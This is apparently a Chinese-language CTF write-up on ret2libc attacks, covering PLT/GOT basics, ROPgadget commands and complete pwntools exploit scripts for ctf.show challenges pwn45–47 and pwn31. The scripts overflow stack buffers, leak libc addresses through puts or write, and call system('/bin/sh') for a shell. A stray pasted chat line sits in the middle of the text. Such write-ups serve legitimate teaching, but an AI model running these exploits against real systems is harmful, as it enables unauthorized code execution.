ret2libc
前置基础
libc常用于处理动态链接程序,动态链接:程序在运行或加载时,在内存中完成链接的过程,即系统库和自己编写的代码分割成两个独立的模块,等到程序运行时再将这两个模块进行链接。详细介绍可以看指南摘要的动态链接部分
其具有延迟绑定的特点,只有当函数第一次被调用时,动态链接器才进行符号查找、重定位等操作,如果未被调用则不进行绑定
ELF文件通过过程链接表和GOT的配合来实现延迟绑定,每个被调用的库函数都有一组对应的PLT和GOT。(plt里存放的是汇编指令,用于跳转到got,got里存放了地址 )
工具指令
ROPgadget
获取gadget地址,--binary
参数指定文件,可以是可执行文件或libc文件,grep用于筛选,--string
用于筛选字符串
通过pop rdi;ret可以将栈地址中的值传给rdi寄存器,其他寄存器同理,故p64(pop_rdi_ret)+p64(rdi_content)即可控制rdi寄存器的值为rdi_content
1 2 3 4 5
| $ROPgadget --binary pwn --only 'pop|ret' | grep 'rdi' $ROPgadget --binary pwn --string '/bin/sh' $ROPgadget --binary pwn --only 'leave|ret' | grep 'leave'#查找leave ret指令地址 $ROPgadget --binary pwn --ropchain $ROPgadget --binary pwn --only 'ret'
|
实操
pwn45
分析程序:
题目提示为无system无/bin/sh故可尝试ret2shellcode 或 ret2libc

开了nx,程序为动态链接(file中的dynamically linked),分析程序发现bss段没有可以用的变量,有栈溢出漏洞,有puts函数和write函数故可利用ret2libc进行攻击获取shell
首先第一次控制执行流利用write函数将其got表中的地址输入到输入流中,接着接收该地址将其先转换成整数,再转换为16进制地址供后续利用,函数实际地址=函数基地址+偏移,故获得了write函数的地址就相当于获得了函数的基地址
利用LibcSearcher根据已知的write函数地址搜索对应的libc库,利用libc.dump()获得函数的偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import* from LibcSearcher import*
io=remote('pwn.challenge.ctf.show',28217)
elf=ELF('./pwn') main=elf.sym['main'] write_got=elf.got['write'] write_plt=elf.plt['write']
payload=b'a'*(0x6B+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('O.o?') io.sendline(payload) write=u32(io.recvuntil('\xf7')[-4:])
print(hex(write))
libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh')
payload1=b'a'*(0x6B+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload1)
io.recv() io.interactive()
|
write
函数的原型
1 2
| #include <unistd.h> ssize_t write(int fd, const void *buf, size_t count);
|
头文件: unistd.h
是包含 write
函数声明的头文件。
返回类型: ssize_t
是一个有符号整数类型,通常用于表示字节数或错误码。
参数
1.fd: 文件描述符(File Descriptor),表示要写入的目标文件或流。常见的文件描述符包括:
0
: 标准输入(stdin)
1
: 标准输出(stdout)
2
: 标准错误(stderr) 其他正整数值通常是通过打开文件时由系统分配的。例如,通过 open()
、creat()
、pipe()
等函数获取的文件描述符。
2.buf
: 指向要写入数据的缓冲区的指针。这个缓冲区包含了将要写入到目标位置的数据。可以是任何类型的数据,但通常是字符串或其他二进制数据。
3.count
: 要写入的字节数。即从缓冲区中读取并写入目标位置的字节数。如果指定的字节数超过了缓冲区的实际大小,可能会导致未定义行为或部分数据丢失。
返回值: 成功时返回实际写入的字节数;失败时返回 -1,并设置相应的错误码(如 errno
)。需要注意的是,即使成功了也不一定保证所有请求的字节都被写入了,特别是在非阻塞模式下或者遇到信号中断的情况下可能只写了部分数据。在这种情况下需要检查返回值并与预期的字节数进行比较以决定是否需要重试操作直到全部完成为止;user:详细讲讲python中的write方法
puts版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import* from LibcSearcher import*
io=remote('pwn.challenge.ctf.show',28217)
elf=ELF('./pwn') main=elf.sym['main'] puts_got=elf.got['puts'] puts_plt=elf.plt['puts']
payload=b'a'*(0x6B+4)+p32(puts_plt)+p32(main)+p32(puts_got)
io.recvuntil('O.o?') io.sendline(payload) puts=u32(io.recvuntil('\xf7')[-4:]) print(hex(puts)) libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh')
payload1=b'a'*(0x6B+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload1)
io.recv() io.interactive()
|
pwn46
该题于上一题类似只是换成了64位程序,传参方式改变接收地址的形式也有所变化
64位传参寄存器:rdi,rsi,rdx,rcx,r8,r9
puts版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import* from LibcSearcher import* context(arch = 'amd64',os = 'linux',log_level = 'debug') io=remote('pwn.challenge.ctf.show',28276)
elf=ELF('./pwn') vuln=elf.symbols['ctfshow'] puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi_ret=0x400803 ret=0x4004fe payload=b'a'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendline(payload) puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts)) libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts') system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump('str_bin_sh')
payload1=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system) io.sendline(payload1)
io.interactive()
|
write版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import* from LibcSearcher import* context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('pwn.challenge.ctf.show',28218) elf=ELF('./pwn') write_plt=elf.plt['write'] write_got=elf.got['write'] main=elf.sym['main'] pop_rdi=0x400803 pop_rsi_r15=0x400801
payload = cyclic(0x70+8)+p64(pop_rdi)+p64(1) payload += p64(pop_rsi_r15)+p64(write_got)+p64(0) payload += p64(write_plt) payload += p64(main)
io.sendlineafter("O.o?",payload) write=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(hex(write))
libc = LibcSearcher('write',write) libc_base = write-libc.dump('write') system = libc_base+libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
payload=cyclic(0x70+8)+p64(pop_rdi)+p64(bin_sh)+p64(system) io.sendlineafter("O.o?",payload)
io.interactive()
|
pwn47
程序中已给出多个地址,接收即可、
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import* from LibcSearcher import* io=remote('pwn.challenge.ctf.show',28215) elf=ELF('./pwn') io.recvuntil("puts: ") puts = eval(io.recvuntil("\n",drop = True))
io.recvuntil("gift: ") bin_sh = eval(io.recvuntil("\n",drop = True))
libc = LibcSearcher("puts",puts) libc_base = puts-libc.dump("puts") system = libc_base+libc.dump("system") payload = b'a'*(0x9c+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload)
io.interactive()
|
pwn31
got表的首地址存在ebx中

所以该题需要设定ebx的值使得got表上的地址能够正常识别
checksec
1 2 3 4 5 6 7
| 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
|
没开canary开了PIE
main函数
1 2 3 4 5 6 7
| int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0, 1, 0); setvbuf(stdout, 0, 2, 0); printf("%p\n", main); (ctfshow)(&argc); ......
|
开始会给main函数的地址可以接收了来获取elf基地址
ctfshow函数
1 2 3 4 5 6
| ssize_t ctfshow() { char buf[132];
return read(0, buf, 0x100u); }
|
存在栈溢出,可以通过此处泄露libc构造二次输入再system(‘/bin/sh’)
看汇编可以发现在ctfshow函数中调用完read后会改动ebx的值而我们通过got表索引函数时ebx是存有got表的首地址的所以此处改变了就会导致后续无法正常索引
1 2 3 4 5 6
| .text:00000644 call _read .text:00000649 add esp, 10h .text:0000064C nop .text:0000064D mov ebx, [ebp+var_4] .text:00000650 leave .text:00000651 retn
|
var_4 = -4所以要在ebp-4的地方放置got表首地址
libc版本:libc database search
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
context(arch='i386',os = 'linux',log_level='debug')
libc = ELF('./1.so') io = remote('pwn.challenge.ctf.show',28153)
main = 0x652
elf_base=int(io.recv(14),16) - main info('elf_base:'+hex(elf_base))
puts_plt = elf_base + 0x490 puts_got = elf_base + 0x1FD4
ctfshow = elf_base + 0x61D ebx = elf_base + 0x1FC0 payload = b'a'*132 + p32(ebx)+ b"aaaa" + p32(puts_plt) + p32(ctfshow) + p32(puts_got)
io.sendline(payload)
puts_addr=u32(io.recvuntil('\xf7')[-4:]) info('puts_addr:'+hex(puts_addr)) libc_base = puts_addr - libc.sym['puts'] system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*(0x88+4) + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)
io.interactive()
|